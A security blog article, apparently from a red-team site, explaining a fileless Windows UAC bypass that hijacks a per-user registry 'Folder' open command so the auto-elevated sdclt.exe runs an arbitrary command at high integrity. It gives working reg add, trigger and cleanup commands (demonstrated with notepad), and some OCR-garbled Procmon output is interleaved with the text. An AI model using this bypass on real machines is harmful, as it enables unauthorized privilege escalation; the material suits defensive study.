Accessibility Go to the content Go to the search Go to footer



This site is about IT security. Here we present the authors articles and security tools. This site is cooperative, feel free to comment and criticize any article/application. If you want to publish your articles and/or applications on this site, send a request to contact[at]sevagas.com.

Home

About us

Exploits

Learning security ▼

Links

Security tools ▼



Home

Q Search ... >>

Learning security

Operating Systems

Windows



Yet another sdclt UAC bypass

Fileless UAC bypass via COM hijack using sdtlc.exe auto-elevated process.

> Article published on 23 January 2019 last modification on 31 January 2022

> > by Emeric Nasi ☑







License: Copyright Emeric Nasi, some rights reserved

This work is licensed under a Creative Commons Attribution 4.0 International License.



1. Origin of the bypass

As often with UAC, the flaw comes from an auto-elevated process. These processes have the particularity to run with high integrity level without prompting the local admin with the usual UAC window. If the user running with medium privileges can make these process load a dll or execute a command, UAC bypass is performed.

In our case, the executable is sdclt.exe. Sdclt is used in the context of Windows backup and restore mechanisms. You can check it auto-elevates using Sysinternals Sigcheck:

> sigcheck.exe -m C:\Windows\System32\sdclt.exe | findstr autoElevate <autoElevate

xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</auto Elevate>

Note: There are already a couple of known ways to abuse sdclt.exe into bypassing UAC. You can read about those two methods on Matt Nelson's blog:

https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Also in this section

1 2

MSDT DLL Hijack UAC bypass

on 2 February 2022 by Emeric Nasi

Hide HTA window for RedTeam

on 15 July 2021 by Emeric Nasi

Bypass Windows Defender Attack Surface Reduction

on 24 February 2019 by Emeric Nasi

Advanced USB key phishing

on 23 June 2018 by Emeric Nasi

Hacking around HTA files

on 7 February 2018 by Emeric Nasi

The most seen articles

VNC to access Kali Linux on Raspberry Pi

(seen 229552 times)

Hacking around HTA files

(seen 136243 times)

PE injection explained

(seen **131432** times)

Modify any Java class field using (seen 109543 times) reflection.

Digging passwords in Linux swap

(seen **90605** times)

• https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ ■

The method I found is fileless and is based on COM hijacking.

Some interesting events which occur when sdclt.exe is called from a medium integrity process:

- It runs another process of sdclt.exe with high privilege
- The high privilege sdclt process calls C:\Windows\System32\control.exe
- Control.exe process runs with high privilege and

Geortrol exe 2576 CRagOpenKey HKCU Software Classes Folder shell open NAME NOT FOUND Eliquette obligatore Niveau obligatore Software Classes Folder shell open command NAME NOT FOUND Eliquette obligatore Viveau obligatore obligatore Viveau obligatore obligatore viveau obligatore viv

Using Sysinternals Procmon, we can see that control.exe is failing to find an open command for the "folder" object in the current user registry (HKCU).

This is very good sign for someone looking to bypass UAC! That is because UAC privileges are not required to write in there so we can basically make an elevated process run a command even if we are in the context of medium integrity process.

2. Exploit the bypass

You can easily test this UAC bypass with a few command lines.

Setup the registry:

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c
notepad.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v
"DelegateExecute" /f

Trigger the bypass:

%windir%\system32\sdclt.exe

You can watch notepad.exe pop with high integrity level.

III cm di exe 5008 limigri. Microsoft Corpo. "cmd exe" /c notepad exe Niveau obligatorie ellevir

III control exe 7528 Hold ed. Microsoft Corpo. 1720/UNOVSIsystem32conhost exe 0x4 Niveau obligatorie ellevir

III notepad exe 14596 Bloc n. . Microsoft Corpo. . notepad exe Niveau obligatorie ellevir

After that, do not forget to clean the registry with:

reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f

2

• Site Map • Contact • Legal notices • Private area •

2010-2024 © Sevagas - All rights reserved